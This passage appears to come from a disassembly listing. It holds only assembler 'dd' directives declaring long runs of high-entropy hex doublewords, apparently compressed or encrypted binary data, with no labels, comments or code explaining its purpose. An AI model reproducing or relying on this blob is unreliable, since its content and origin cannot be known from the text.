		dd 0D3D0C75Eh, 63441495h, 0C6BC303Bh, 3B52A821h, 0EE1EE480h
		dd 3F9AEC02h, 9E73A302h
		dd 0C0BEF052h, 1DA72E55h, 80DCE825h, 0C60A7C23h, 6C288497h
		dd 1200894Dh, 925CB3Ah,	0C85D716h, 6F5CD29Fh, 360C9C50h
		dd 70FAD471h, 557A0015h, 4BB8B6D7h, 281D389Dh, 0E40C9B83h
		dd 0BF2058h, 0B9FBD288h, 3F1FA77Eh, 5B134A0Ch, 301A409Ah
		dd 15A921C5h, 1800E7A1h, 0BC8C6C4Fh, 0DC50EFh, 5531B5B1h
		dd 0E219287Ah, 7F3E347Bh, 2F800D4h, 0CEC5CA9h, 2469F0D8h
		dd 7D3B80Dh, 900E2BF2h,	23958953h, 4224D718h, 0FF13758h
		dd 14BD76F0h, 81345CC0h, 7E48D055h, 0E8470043h,	5E6DA5A3h
		dd 0DB6B00F8h, 1E255107h, 87009FA8h, 0C1C25701h, 712BDFh
		dd 1A5603D9h, 8C7B62DAh, 242DC500h, 76271E65h, 3E27A20h
		dd 6B4AEB98h, 0B0870E5Bh, 4EB2A147h, 0A0BC200h,	7D0F0C49h
		dd 0A46F00C8h, 0DE942BBBh, 0D97DEB1Eh, 43900500h, 0E442D7D2h
		dd 0A6380046h, 8BE62D28h, 8000B726h, 9984796Eh,	0F6B10BB2h
		dd 28FEDFh, 0E94DF9D7h,	6560403Eh, 0A3F3F200h, 560DE676h
		dd 0D8F724F5h, 21F03DDh, 0D4F1ECFFh, 26909D60h,	0DE24EDC0h
		dd 77C911h, 0FF4D06DAh,	2C5F64B5h, 0D3A03202h, 40C6F073h
		dd 4FE868h, 6577B730h, 90F8B3BDh, 82D25709h, 0A03008Eh
		dd 3BEA5F5h, 0F60B2F87h, 44E80F52h, 4A0068C3h, 0F5CC78F0h
		dd 76DDE0Ch, 0AE80671Fh, 7482F09Dh, 8F58588Dh, 2F077B7Bh
		dd 0FA495D4Bh, 540AD770h, 0CE470075h, 871A5CBFh, 0FF009DC2h
		dd 3E79346Eh, 1517A3h, 0B8AB2156h, 112A5F6Ch, 233BE100h
		dd 0FD255D52h, 9D66003Ch, 9811B33h, 0B1003470h,	4559397Fh
		dd 0F63A16DBh, 3B1700C0h, 1AB08956h, 58301C20h,	0A6D2D019h
		dd 71920770h, 95DF6977h, 0CB7F80C5h, 6A0015E0h,	0A71EB878h
		dd 0F6BAC6Eh, 59AE5E8Ah, 97B176E0h, 11760329h, 6434EA00h
		dd 0F2AF6BBh, 0F42F00BEh, 16536BD1h, 0F9E750A4h, 3C90C8C2h
		dd 0AA8A300h, 983D33C0h, 0FF8903BEh, 0D1A7543h,	943767E0h
		dd 0B8C25403h, 802A1123h, 3FE5213h, 721DDF7Dh, 29CADA6Ah
		dd 0D2E380A0h, 971C8C44h, 0D140565Bh, 8EE6F4A1h, 0E8EC0553h
		dd 1F726C2h, 560FEB8Eh,	2FAE41Fh, 628F7007h, 51B0AB72h
		dd 0B009AEh, 0F44A18D9h, 7A938808h, 58E87F1Ch, 0C2A140C0h
		dd 6BB14C9h, 3D13F7F3h,	0EE7B88E6h, 2561BC00h, 341A9B84h
		dd 98EB00B8h, 52C866D6h, 0B10027FDh, 2CC95E22h,	324502Fh
		dd 0B987F035h, 10012E98h, 89A6E274h, 71E0A7EAh,	33B0E6h
		dd 0F98833E5h, 80705956h, 27646D06h, 6944D5h, 0DD035C17h
		dd 1B0DEC3Ah, 141D48h, 0FF5301DEh, 4ADEDh, 0A1274DCh, 0BA2F6FFDh
		dd 1FDFB600h, 671C0527h, 80F10788h, 74FC84A1h, 0FD4C800Bh
		dd 6C0056DCh, 0B23F33F5h, 0ECD0DC0h, 491D9DE0h,	8CD7C860h
		dd 940055CBh, 6CA0BA63h, 7968FB44h, 2EAD0178h, 33895C9Bh
		dd 9C86D8CEh, 2239D300h, 2FB70263h, 7E40067h, 31FABE78h
		dd 76F043C7h, 8C60E0EEh, 0EE56FF11h, 0C6F503C1h, 0FE606E7Ch
		dd 0CF9345B0h, 0C0DDCC00h, 2DF7BC4Dh, 9DA900DCh, 30C63423h
		dd 90057AEh, 0FBD1C3E4h, 3041F87h, 2C959039h, 30C8C6FDh
		dd 2400AD40h, 0A346662Bh, 48AE584Ah, 0B700DC6Eh, 87535022h
		dd 0F4F6CD26h, 1DA0B300h, 5F47D94Eh, 32C383Ch, 39BFF980h
		dd 338E7BC0h, 96075309h, 0FBEh,	2910BD31h, 1A6F45Eh, 88CB7A4h
		dd 0C8D2DDF9h, 2D0E16D5h, 99198Ah, 5B0D1D2Bh, 0EBD00B7Ah
		dd 0FF803556h, 0CAEA22D9h, 80000FEEh, 0DA67043Ch, 139C5B1Dh
		dd 0A2B28Eh, 0B9D04830h, 97F6A7E6h, 0E2141300h,	7824F207h
		dd 935005Fh, 0AC86DE82h, 54025DC1h, 8E5C4F61h, 6398404Eh
		dd 0EE5100FFh, 0C5BA13E3h, 26005384h, 4D6935EFh, 0ABB9D0Eh
		dd 56FE7830h, 0D2D039C8h, 7C76FFh, 0B05F45BFh, 0E5FAF209h
		dd 7F5CA300h, 2067B8A5h, 0DF1B00D0h, 21EBC9E1h,	6F00AE96h
		dd 7DC2C6DDh, 36916h, 663F623Eh, 0A07AFDE8h, 3A38837Ah
		dd 0DE31E337h, 0DC42C851h, 521E0E85h, 884E10DDh, 308D59E0h
		dd 0B8000F34h, 75CE370Dh, 0E65DD01Dh, 79BA00E6h, 0A77632E2h
		dd 0FC2EE3DCh, 0E0008427h, 49A187D5h, 0D485006Fh, 265D28EBh
		dd 900F015h, 2339E59Ah,	8FAA14h, 0BF36350Ch, 0C2F61F1Ch
		dd 6E913Eh, 6A036C2Eh, 1CACF267h, 80B947A8h, 0E0D335B1h
		dd 0B0000256h, 4E2D9F84h, 437FA7h, 0F025C829h, 64D34DFDh
		dd 2C0C3700h, 36833FA6h, 94D71C0Fh, 0F53D1Dh, 26911617h
		dd 0AF0D2BEDh, 3A834507h, 2FFF3336h, 24D880A1h,	0FF0EC1Bh
		dd 90BAC35Eh, 3C7B2920h, 0E73DB54Bh, 1E188036h,	0A379F94Fh
		dd 1EB1FF0h, 40049224h,	447E1DB8h, 2AE6136Dh, 0F74A1200h
		dd 63EB0ECCh, 47AF00DFh, 3A56F6Eh, 0DD4C140Bh, 0F8BE0020h
		dd 85E4B0FFh, 41A1009Dh, 0F0E350C0h, 0B8007F4Ah, 669CD6B5h
		dd 3ABFE7Ah, 0C0E5582Ch, 2D98DC83h, 570022F6h, 3A74378Ah
		dd 0BBCCCAFh, 0BEEDDBA1h, 0DDF64080h, 81244E2Bh, 0C9009052h
		dd 62D1133Fh, 455400FFh, 0FC74157Eh, 0D2092305h, 80D89896h
		dd 72837979h, 0E2CE013Dh, 4D0FBFBBh, 23608146h,	6E04C7FBh
		dd 7D7460C6h, 7F760554h, 976D7A27h, 245A1014h, 0DC07CB20h
		dd 9030C40Ch, 7432693h,	79F72A20h, 1DD34158h, 0A8BEC3h
		dd 24376022h, 3D8B106h,	0B7A14889h, 0BCD88DB3h,	200C0E7h
		dd 7670C6EBh, 0C40E60Fh, 55B1A50Ch, 9C2CD541h, 2A0010C2h
		dd 3D9778C7h, 7183030h,	7D587C20h, 7920D14Dh, 2A316203h
		dd 800AC86Ch, 3977FAh, 0C499309Dh, 0FC24A3A0h, 30A2732Ah
		dd 5B00F470h, 0E680EB21h, 14BE837Ch, 0AD7E1B48h, 0CDC96100h
		dd 0D1CA0C2h, 95066A1Ch, 0F37DD140h, 1B1BF6Dh, 0B0F4E8F2h
		dd 20D0354Eh, 601DD3Dh,	91CA90DBh, 2DD0C360h, 0BEF0FE3h
		dd 79607284h, 0ED2FB2D7h, 5236FE00h, 32C04540h,	0B3CC380Fh
		dd 8E10A80h, 3339D994h,	280E150Eh, 86516052h, 0B17B18h
		dd 0B791F1ABh, 0BA62BFEBh, 0F7DB341Bh, 3657A7D8h, 0F39C52C0h
		dd 7CE30B35h, 4C0C0DE1h, 0B30017F0h, 3948904Ch,	60C6D5B1h
		dd 5B5361B5h, 0E907F465h, 542E3351h, 914F8810h,	618A72CEh
		dd 0FF0C408Ch, 7F40C81Ch, 15A8C74Ah, 55006A38h,	0AF66EF74h
		dd 68004170h, 1D9BEB2Bh, 1422436h, 0FE55D872h, 0D5C73405h
		dd 0F010213Fh, 0D2037CBAh, 34FF70Eh, 9C6F8836h,	11AD01D4h
		dd 0CF33CD7Ah, 0F2D4501Dh, 4492B5CAh, 82F80900h, 0F6664A0Bh
		dd 72C2035Ch, 3873630Eh, 0F18C90E8h, 57308373h,	0D9963053h
		dd 750C1ED5h, 226F0FC8h, 94400072h, 3899FE27h, 0F05C17Ah
		dd 54149075h, 8EB68801h, 40815179h, 0C6B5DEECh,	2CA44132h
		dd 7B8E30CDh, 1E4C4913h, 0B4236207h, 0E6BDBC30h, 417793h
		dd 0C3FB77EEh, 0E4F4E014h, 0C1A35500h, 813429EFh, 5DB200CDh
		dd 2E54C7A2h, 9939DD57h, 0B91F80FBh, 63C6B85Ah,	4F983E5Ch
		dd 665EA403h, 24E067EBh, 9E7EC175h, 0A9B77001h,	0B35A06FCh
		dd 0A0F13180h, 519DE7CBh, 974BB600h, 0A76B16C9h, 52B03973h
		dd 0BCED9A00h, 0F84D5DD4h, 0B73DABE4h, 0FC878EC8h, 0FD3BC023h
		dd 7711A3Fh, 2BDA7C06h,	4EDC83FBh, 7BA902A0h, 0CD348000h
		dd 0F99AE0A8h, 9F103165h, 0DBA41BC8h, 0D7B863A0h, 0E5447F00h
		dd 0EC534ACEh, 0B42032Ch, 0C84EB9B4h, 76CF900h,	0BA06393Bh
		dd 0F01000DEh, 7F41BC43h, 0D1C063ACh, 3D20D468h, 0A8200D2h
		dd 934B5EFEh, 45F6921Dh, 850BF300h, 97C6EF8Ch, 25F403E9h
		dd 0F786DD9h, 57458800h, 8720EC2Bh, 26E7007Fh, 556ADBC0h
		dd 0E000039Bh, 0B083D9E2h, 6DA415Eh, 4CF25DA8h,	0B500A18Bh
		dd 2595EA9Ah, 0B8A1CC26h, 0BB5F00D5h, 60D0F987h, 8A778D0Eh
		dd 0A72F281Ch, 0D7F362C3h, 936BF895h, 0B6E5005Eh, 3ACB806Fh
		dd 3B004BF6h, 0D5BED930h, 324741h, 46F0D6F7h, 40A55D08h
		dd 6B96A03h, 0A1DAA8AAh, 87D0C0F6h, 0F1F00FBh, 410AFAC9h
		dd 0A4A01A7Eh, 5D0FF485h, 80FF4FDDh, 102512DAh,	0B0980339h
		dd 2C83D51Dh, 0B10140D6h, 0FBE3B737h, 7898B4A8h, 0DFBB1813h
		dd 0A002574h, 0BDA4FAD0h, 58AE43h, 0A76708F3h, 0BBFC83ACh
		dd 0E7A9C300h, 0D91ECD89h, 29D57488h, 872CF999h, 0B0DFECC7h
		dd 6A1406Ch, 0FDE2ED00h, 3E9C266Dh, 0C098DC3Ah,	839D5DAAh
		dd 0E4B0F428h, 814DDA38h, 287C7E4h, 0F0B11F88h,	87BD9C08h
		dd 154D6219h, 0C090D7B0h, 0D4290F5Ah, 0A2082E2h, 891C21E7h
		dd 0EC85B31Ch, 0D00986Ah, 5F369C38h, 7BFCD1Fh, 32CC623Ah
		dd 0C88B1188h, 0D46CCDFBh, 9C00A197h, 7F788CD1h, 389D1A41h
		dd 5A806103h, 0CC322002h, 63280DB0h, 5D01241Eh,	5A8889D1h
		dd 0FAC99639h, 280620F4h, 35C4F3F9h, 81CEFh, 0E1F77338h
		dd 0A8005B45h, 7C8A9271h, 0F0517EA4h, 40C0DFA5h, 0C850B11Dh
		dd 340CE8CBh, 41FC4FD5h, 0E04600D1h, 5EA7E351h,	5609A89h
		dd 73F67FE8h, 78AF001Ah, 0BEE259D2h, 0DE005A40h, 4CB288B4h
		dd 9B7B47h, 4629AC44h, 0C74B3DD6h, 0CA00BAB8h, 0DA0BC957h
		dd 3A17FE9h, 1F5B5298h,	0F4803DFBh, 0A9005AE3h,	0A54ECEC2h
		dd 2A4F04h, 8FAC931Bh, 5D3DD4B0h, 6364F909h, 0CB4800F0h
		dd 0B047364Eh, 28B000CAh, 76865570h, 9E005194h,	0D550E7D1h
		dd 5087CF8Eh, 0F8EAA895h, 40C260DAh, 9FEDA34Dh,	67C59C1Eh
		dd 8773F871h, 2CEF2770h, 7BF45D3h, 446D6B2h, 1C99802Fh
		dd 0A93E47F2h, 70330004h, 0A31516E9h, 7B9D0097h, 3FF039A0h
		dd 140F0662h, 80CDB566h, 2A70DAABh, 19AC0035h, 494324D3h
		dd 511B48A4h, 10CD5Ch, 409C6109h, 0CCD56FC5h, 0B80B3970h
		dd 8B5A1713h, 9FE10117h, 8BD4454Ch, 5F9412h, 580B6AFDh
		dd 7417E4EFh, 0BC0C780Dh, 1AEEEBEh, 5B2E1F60h, 0C44F2AF0h
		dd 5200C473h, 0ACCFBFC6h, 44542Dh, 3BAF0AC5h, 4148A760h
		dd 80218600h, 0B6E7BAFBh, 954000F2h, 5796D67Eh,	8BFE3BECh
		dd 84E45000h, 0A30E12D2h, 81E853h, 47A897FDh, 0CBB12FABh
		dd 16D42A00h, 43143282h, 6FFB008Fh, 25E9EE90h, 59F20B1Dh
		dd 821BC501h, 0F944E694h, 782830h, 0D4C4C11Eh, 9BA24161h
		dd 3EF59300h, 24CE8915h, 82830159h, 0E3DA7177h,	40EBC486h
		dd 0B2FDF700h, 0FC938462h, 5FA8000Eh, 0ED428EF6h, 8008C6Eh
		dd 86C1AFE6h, 1583F9h, 0D38B3E31h, 12D57182h, 7ECF873Ch
		dd 0CDA38507h, 724026C1h, 0B239DCh, 46EE3A18h, 236E5691h
		dd 51409848h, 0EF2E069h, 0B266B800h, 222B4659h,	0A8480014h
		dd 41013240h, 82001C02h, 3D69C89Eh, 0F681C7h, 2BEE29EBh
		dd 0DB97EC06h, 9A624C00h, 0A9D0B3B8h, 66B500BCh, 70E63B05h
		dd 0A077697h, 2F0C34F7h, 69402C57h, 39335624h, 710C1F49h
		dd 82705CFEh, 3D091679h, 81A1Eh, 1B135A4Bh, 1E787C45h
		dd 5E4940B8h, 85CF4133h, 40A52B01h, 12843FC4h, 0DCA9820Bh
		dd 0E29E00D2h, 4EFF90h,	5CACE42Dh, 2942955Eh, 0BC813500h
		dd 0B202C6FBh, 86DD02DFh, 27D43ECBh, 0D2B62440h, 0D6E12F12h
		dd 4C023C00h, 0AC7C38h,	9895E389h, 0D04124B5h, 7C31872Ch
		dd 43D7E200h, 0AA6E82h,	7676DAFh, 0DF4BCEADh, 1E0062FAh
		dd 0BD0239BFh, 386CC59Fh, 1C00ECD9h, 7FC79AE4h,	7D01A771h
		dd 0E6FF299Dh, 0ADD0DAC5h, 0B9020008h, 45A4A066h, 91072E3Fh
		dd 0F02B2F75h, 0E8859490h, 462A0098h, 0AA7DDE27h, 1C1D80B6h
		dd 0F9004B8Ah, 441E0350h, 1AAD0CBEh, 0D34892DAh, 0B8345E07h
		dd 4CF06078h, 18E5655h,	0E1136221h, 5095A4FCh, 9E42EFCh
		dd 6DC08B00h, 0C7F758E6h, 76480194h, 6F52162Bh,	0AFB080AAh
		dd 6AEB27B5h, 657B48B6h, 0FD3C6C00h, 0A59B9559h, 0C60ED1F2h
		dd 604B0865h, 72F9D715h, 13DA2E89h, 2C2F096Dh, 0E4790400h
		dd 340063DFh, 0D99445A1h, 0FE28B5h, 0CD4E694Fh,	0BD595403h
		dd 0A051BE30h, 0F96D5F73h, 8BED60h, 8DBBFA01h, 0FC5C1993h
		dd 2F4E3D07h, 0A1D06D44h, 3E69EC29h, 1E80548Eh,	0B29FCC71h
		dd 5C00CD1Ch, 37BFCE9Bh, 3A56B20h, 0B5098527h, 0AED9792Eh
		dd 0EEBE804Dh, 0BC2F470Fh, 344B1BA1h, 92D3F81Ah, 0AC1B9800h
		dd 74AE3021h, 393201A6h, 8F22F943h, 0A14E307Eh,	0D3173A00h
		dd 183D0833h, 1243012Eh, 0AAF3C34Bh, 0E463F85Ah, 6400CE76h
		dd 1F31994Dh, 0B514762h, 7F3858D0h, 4A393680h, 3000D2E9h
		dd 6A541401h, 0AF0769h,	395E7E8h, 0EFA7CC2Bh, 22BA9B00h
		dd 0DCD1A23h, 0B6870ED7h, 0ED603E41h, 5D9C663Ch, 0F7930200h
		dd 0C71069BAh, 1EF1E4ADh, 9CCA5809h, 717BC03Eh,	32076CD6h
		dd 3DF47800h, 29091C37h, 0EB5C16E3h, 0B38C00C1h, 86C910Fh
		dd 4A97BC37h, 0BEC2F1C4h, 2824B00Dh, 30EE022Dh,	0A77EFB4Bh
		dd 1B76E5E0h, 34DC491Ch, 0B8F9E40h, 0C52516h, 0CB7AEF7Dh
		dd 29183F6Fh, 0DCE90300h, 61895178h, 0B0F9FE0Eh, 0D0991F0Bh
		dd 0CAEC800Dh, 0EE54C14Bh, 0C31C7700h, 22DB3484h, 0FD700385h
		dd 0D4E2A232h, 5890A0C8h, 16C0E107h, 80FE73B9h,	64958B30h
		dd 0D3420197h, 223FE0F1h, 0A9AD43Ch, 3558900h, 0A7A86316h
		dd 0ADF80064h, 0CCA122E1h, 0B71D4EFEh, 60004C2Ch, 0FD98262h
		dd 0FD7D00D6h, 0A68D3990h, 0DDB891BEh, 82B45700h, 0E5A72C48h
		dd 0E14D074Fh, 45B9CE55h, 3F87FAF5h, 0C2BD6FD0h, 4E280034h
		dd 0EFF8468Bh, 0C70EAEE7h, 0A0671DD1h, 0FC392D20h, 30520060h
		dd 1F76AFF4h, 0F007B61Bh, 72B5FDB8h, 154B4070h,	4AB900AEh
		dd 0D77874CEh, 8F0571D1h, 3DC7BC60h, 0B205EB00h, 12496A42h
		dd 0EBAD3BF1h, 4715D70Fh, 8690EDE7h, 3CF6E60h, 0E2AF7643h
		dd 6BA813BDh, 4A008346h, 0EFE52512h, 0E93331h, 0C5CABE2Ch
		dd 0AAD2E1DFh, 0EE008E71h, 0F94A05Dh, 5AB608h, 3E7E224Eh
		dd 0A720C144h, 58C78900h, 59D9B03Fh, 2373004Ch,	97B8577Eh
		dd 6AE4313Dh, 0C23B5C03h, 0C8CDC31Fh, 0EE5AD51h, 468513E9h
		dd 34A55D40h, 0C8001D01h, 386E754Ch, 9D32656h, 470C0FC9h
		dd 8B6A9C01h, 0FE03F84Bh, 627FA100h, 0AEE18955h, 0B06049FDh
		dd 4024631Ch, 9D022698h, 0E242568h, 10004C31h, 0A1B4A229h
		dd 949097h, 0FCE97DE5h,	913D7EA0h, 8D630109h, 7F5C00F0h
		dd 0E807669h, 7EFF8B50h, 0CB641221h, 0E0AFEFB5h, 7257C0D2h
		dd 227F302h, 86E2C2BCh,	110FAF6h, 375CA57Bh, 340B754Ah
		dd 5F0C8910h, 50926D56h, 0F509021Fh, 7A16C146h,	0C5AF140h
		dd 0F40081E4h, 98E458FBh, 28D3BAC6h, 0D76995h, 0E8F3F6D7h
		dd 36F28EA4h, 3DBCDF00h, 9207344Ch, 6D2C00E4h, 4BA7C564h
		dd 613F1157h, 0AA3A000Fh, 0FF759D94h, 646200BCh, 263D8B0Ch
		dd 40FB0B6Dh, 92F7A6C2h, 2F8FF000h, 0DC875F0Fh,	42200B3h
		dd 4DFD1AC7h, 0A0006833h, 55F8D582h, 2E933E84h,	9E9C38h
		dd 26CAA694h, 5A1FDA57h, 6800E1FBh, 4FEF0207h, 0B9090350h
		dd 0B5D05C2Bh, 396A69A8h, 1D30E84Ch, 2212FBh, 0FE364EABh
		dd 13AF1557h, 0C0F7F501h, 7144FFB3h, 38D9030h, 52D591C6h
		dd 0C3D0BFA3h, 82006D0Bh
		dd 0D7338A03h, 1BE609Eh, 665B6A28h, 0EB9DC1h, 2D6EA25h
		dd 0A1F20E83h, 0C448F4DEh, 0B214A45Ah, 0C8B171h, 465E1B93h
		dd 0E8C509E0h, 0D9061404h, 0BC048CF8h, 0C0539073h, 48C92878h
		dd 24F40C54h, 0D07BBAC0h, 6062813Fh, 20447018h,	966065A4h
		dd 0F7B0FD98h, 0B230C0CCh, 2F4571B1h, 31549300h, 3C8AC574h
		dd 268400E1h, 0CD6910D6h, 10B0C079h, 670C9B00h,	4F241856h
		dd 0ED4400B1h, 0BA5337D5h, 293F7AECh, 0F1B4806Eh, 5293D4CCh
		dd 2DF20B51h, 3080CE0Ah, 7A068E1Fh, 4F40800h, 0FCCA38F7h
		dd 9C6B0062h, 0F820A70Ah, 0FD0083C8h, 0B22FE174h, 0B806C1B4h
		dd 7376F7h, 0C5217DCEh,	0D36DE087h, 3CEAEC03h, 0A039F94Ah
		dd 4E9E5Eh, 0AE120A05h,	0C4401492h, 7743EE00h, 2F69EFACh
		dd 74C900B0h, 0EC2E39B4h, 0A3074A1Ah, 0AE10306h, 0EAA1A230h
		dd 85C000F9h, 84193C6Ah, 20B69BBh, 971DE4h, 718F8E00h
		dd 0F0E60D8Dh, 10CE4593h, 33F15BE0h, 0CE055C92h, 0AFB9D8Ch
		dd 302AC180h, 0CBB314BEh, 6405C860h, 60CEBB92h,	0A7C85DCh
		dd 0A47D21C0h, 12F8D086h, 18968BD7h, 0EDBB3C08h, 0ACF8BE5Bh
		dd 977B5C09h, 0CABA3420h, 0F139FB1Ah, 0A03189E7h, 9F28A7F2h
		dd 129C8850h, 485E4CE3h, 823261B0h, 18530124h, 0B8A0F8C7h
		dd 0A045DCE8h, 720BFCA9h, 1B10995h, 48804169h, 7C0CD48Bh
		dd 0B962C1C0h, 0ABF914h, 0E65A7184h, 0A15CA0CBh, 794104Ch
		dd 66366ED3h, 0CE931910h, 6B2F0003h, 8D472AD9h,	0C5000D15h
		dd 1D8F137h, 0DE6918h, 9CC6AF14h, 0CD52D1B3h, 0B96EDD00h
		dd 63B0BF7Ch, 8FC400F2h, 90693A9Ah, 6CEAEFF3h, 0ABED2A03h
		dd 0B04442B6h, 1239DD4h, 8FEBAEE3h, 0FC70E867h,	0EF02293Dh
		dd 12AD1482h, 638BE0BEh, 0D3320079h, 6AA62520h,	1B007C98h
		dd 28902EC5h, 71A826D4h, 3F920015h, 4C983DDBh, 2300F935h
		dd 0BA96E754h, 4E6EF0h,	19C1D2A8h, 0C7AAD8B4h, 0DD34B506h
		dd 544B60h, 3D23AEFAh, 2461A748h, 13D0E007h, 0F33012AAh
		dd 32CDF0h, 8E78C489h, 18B270C8h, 0AAA28500h, 0A09B6C65h
		dd 0F3490EEh, 6F4605F9h, 1385F1AFh, 3A84D02Dh, 4701561Dh
		dd 734AF20Bh, 90E4F5B8h, 9260110h, 8CCAC386h, 3BE420BCh
		dd 774BAB0Fh, 650F601Bh, 26E46h, 47EF76Ch, 87E9E076h, 158BF3Fh
		dd 2DBE5D73h, 0E870A7A1h, 35A03E70h, 0B592F581h, 0DC36C17Ch
		dd 0EE0F1875h, 1A55517h, 0E18C3162h, 0F0A6C5E0h, 0ED8A0CB1h
		dd 6B20D085h, 0FA15B400h, 0A813AEE5h, 0DAC9665Dh, 0F1000618h
		dd 2616B28Bh, 90C3827Eh, 0C86F0364h, 95AADEF7h,	7F503102h
		dd 80D2BE46h, 4A2E0A4Ch, 2930C0C1h, 5BEAA550h, 0C8C05D09h
		dd 7DCD0340h, 0EF211447h, 4C001C2Eh, 5A102542h,	8607401Eh
		dd 5DC057FAh, 0A12FA990h, 0D17F00EEh, 2885EC5Bh, 0E007443h
		dd 0AFB76DEFh, 0A0581F62h, 0A00A96FCh, 0A9469Eh, 4DB6BDC3h
		dd 9022BE0Fh, 96F3D43Ch, 0B40470FFh, 0F4C08AE0h, 1F7580E3h
		dd 0CE557C2h, 1191862Fh, 0C1B8E602h, 6156F270h,	88ADF3Ch
		dd 90EB8Eh, 3DF331B1h, 0D61FF21Bh, 2472590h, 5E019A3Ah
		dd 6081E3CFh, 0C7DE0889h, 1DA30C2h, 5CFC5400h, 0EE19AAF9h
		dd 3AC11C3Ch, 801466A8h, 75DF26CEh, 0A7078503h,	0A6C8EF32h
		dd 3217946h, 8DE167AFh,	3810E856h, 1000DF43h, 0F6E3BE9Ch
		dd 7E002DC8h, 16EF9A97h, 13C66Eh, 0FE66A956h, 0E404FA18h
		dd 0F1E0A360h, 2A51E82Fh, 7F81F82h, 0D24D45C5h,	0A160502Ah
		dd 6374FDD0h, 0A5212661h, 7F00399h, 0D79100D9h,	0DBC87B28h
		dd 0C1153B8Ah, 0F64B38Bh, 0C4C2E097h, 6A321F0Dh, 1290FCA0h
		dd 42003BE0h, 7618934Ch, 0ED64DFC2h, 0FC70D2C0h, 48250366h
		dd 547579A9h, 51634C1Eh, 81593201h, 0DF08CE6h, 0AD870786h
		dd 2E0FD05h, 8406402h, 0AB00B03Fh, 9D43A270h, 15B3C4Ch
		dd 0DE85AD8Ch, 0EC6C87DDh, 830FB8D3h, 47E964AEh, 0F2504DB7h
		dd 0A220FDh, 0CD6D18BEh, 0B58B929Bh, 382CE100h,	819E1B4Eh
		dd 3A371DF6h, 0B64D40D0h, 0B4365D27h, 29334Ch, 0A30BCDC3h
		dd 7224A91h, 3105890Ah,	0B525809Ch, 0B10010F5h,	0FCD3653Eh
		dd 0DD4F4Ch, 8E47A1E8h,	1413629Bh, 28CDAE00h, 43CF92F2h
		dd 8AEE0082h, 781E71B7h, 4818123Eh, 0B1196415h,	0DD771D59h
		dd 0CA978C28h, 38743630h, 0E5DE1901h, 2C0A617Ah, 6BE0D681h
		dd 9C3A0D9Eh, 18702EA9h, 1FA23996h, 0C3ECD8Bh, 0E3F91BFCh
		dd 0C0AF3A07h, 1250CEEBh, 1B65B9A8h, 0D024D682h, 0D5F28498h
		dd 881D0628h, 0B87D8838h, 5DEA80B2h, 0A4E0289Bh, 0B63C0034h
		dd 3EB3D899h, 0E3004550h, 0D5649A7Dh, 0EE2EF602h, 0E9880059h
		dd 0B17E1449h, 0A4016C2Fh, 0D79B8720h, 28DCCDFAh, 831E0084h
		dd 3475D5Fh, 46003EC9h,	0F0B0BB22h, 7E6A3Ch, 5EB117F7h
		dd 0CF5BFCFAh, 0AC30A207h, 2D2C015h, 59607F65h,	0F5E078F9h
		dd 649D7900h, 4EA7C74Ah, 1B672B8h, 1C93391Fh, 2174E6A4h
		dd 0C024EC49h, 75F4BA75h, 3B301B00h, 0E0968C03h, 0D4450089h
		dd 0F406A6A9h, 9517D1D7h, 4700C1D3h, 8AB1F47h, 0F6B700D6h
		dd 64447E17h, 9D001145h, 0AAA688F7h, 0F075F15Fh, 0B77201B5h
		dd 0F327C278h, 0C83D051h, 2ECF1838h, 70F3301h, 0F84AEC7Ch
		dd 0DE133C96h, 0C0A51A1Dh, 379D81DDh, 0A47A643Dh, 0ECAFB000h
		dd 4C8AED7Fh, 0A7D30055h, 8FE0667Bh, 0F7014B7Eh, 6AE66569h
		dd 0FECC801Ch, 6081778Ch, 723921FAh, 9500D368h,	0F125D54Ch
		dd 179DBDCh, 1E1C047Fh,	0C4F350B9h, 8724C077h, 0A003D3AEh
		dd 0E03741CBh, 68EE92h,	0F6E17A3Bh, 58AD79A1h, 512B7E00h
		dd 1A6E1CC7h, 5C273BDDh, 0E0088BAh, 927E5F47h, 61002823h
		dd 0B7BA5530h, 8B2050h,	8625B507h, 59974B6Bh, 9E227300h
		dd 17CF0CEDh, 3F280068h, 52D58630h, 0EB48BC07h,	0DE5907A2h
		dd 7AB01BD7h, 6368E415h, 522C09E8h, 0FEBE4803h,	0C08E4125h
		dd 86312Eh, 18035D29h, 0ECB30815h, 4E766F03h, 0AD62CCC3h
		dd 6CA6CA00h, 24E906AFh, 79BA15h, 320578A1h, 0D100DC58h
		dd 0A5323D3h, 1AED0BDh,	0F519A7A6h, 0E886D2C1h,	0D61C38B9h
		dd 58C00EF8h, 0F2D485E7h, 951800F7h, 22802BABh,	8A0092CAh
		dd 0CF37A276h, 7EA351h,	32B5462Ah, 1E3F57Ah, 4B81F919h
		dd 61F4AF08h, 42C10B2Ah, 7B07BAADh, 0AECE3344h,	39AB3800h
		dd 3FF5BE89h, 31BD0015h, 52CA5642h, 3200780Bh, 8B6AF918h
		dd 1A49990h, 3B8D662Bh,	0C8357375h, 2D30A29Ch, 57680879h
		dd 0D066002Ah, 7BB15E31h, 9B004934h, 4C4D1AA5h,	3B352701h
		dd 0D00E71Bh, 117DC85Dh, 0D5008A3Ah, 0A1CDFB68h, 0C4143B2h
		dd 0BE069859h, 0EF07AD51h, 65241525h, 0C2ED207Fh, 6BD3FE2h
		dd 82760E88h, 0D0F1862h, 83354F58h, 0C1254B09h,	10808074h
		dd 0B8DA78BAh, 6B00CDC8h, 39A64132h, 3B3FE8h, 0BD71D6ADh
		dd 50A409D5h, 0CE69101Eh, 8A59DB00h, 729056h, 928C565h
		dd 94857045h, 0E807F31Dh, 8CC06FDCh, 229F606Dh,	405001Ch
		dd 0A5ACD352h, 11009955h, 0F35D51DFh, 686A02h, 0FD8E75D2h
		dd 3B6B7CCh, 67504000h,	93B4F777h, 11D72D6h, 919B3769h
		dd 0D0784DF5h, 5300943Ah, 4F3B7020h, 393DF8FFh,	0A41D3C5Ch
		dd 4101802Dh, 13B721AFh, 5D03CA98h, 0FD085887h,	90380018h
		dd 0B378CDD5h, 0F100166Ah, 6C5915FFh, 0DF58C0h,	514928F9h
		dd 78CF638Eh, 5D99170Fh, 2A62E753h, 9E801B15h, 74A97A12h
		dd 90F874h
		dd 6AED535Eh, 0DCF3C8CFh, 0EC7F5B00h, 93FC34CAh, 1FD0006Eh
		dd 5F403DE1h, 890CFFB6h, 70D7D15Bh, 40956C79h, 62434E70h
		dd 7E043D3Dh, 3774A41Bh, 0FEE021BCh, 9D081F8Dh,	0C575801Ch
		dd 0CE617083h, 2A58C863h, 0D8FAA93Ch, 7FC425C8h, 5C19CEF2h
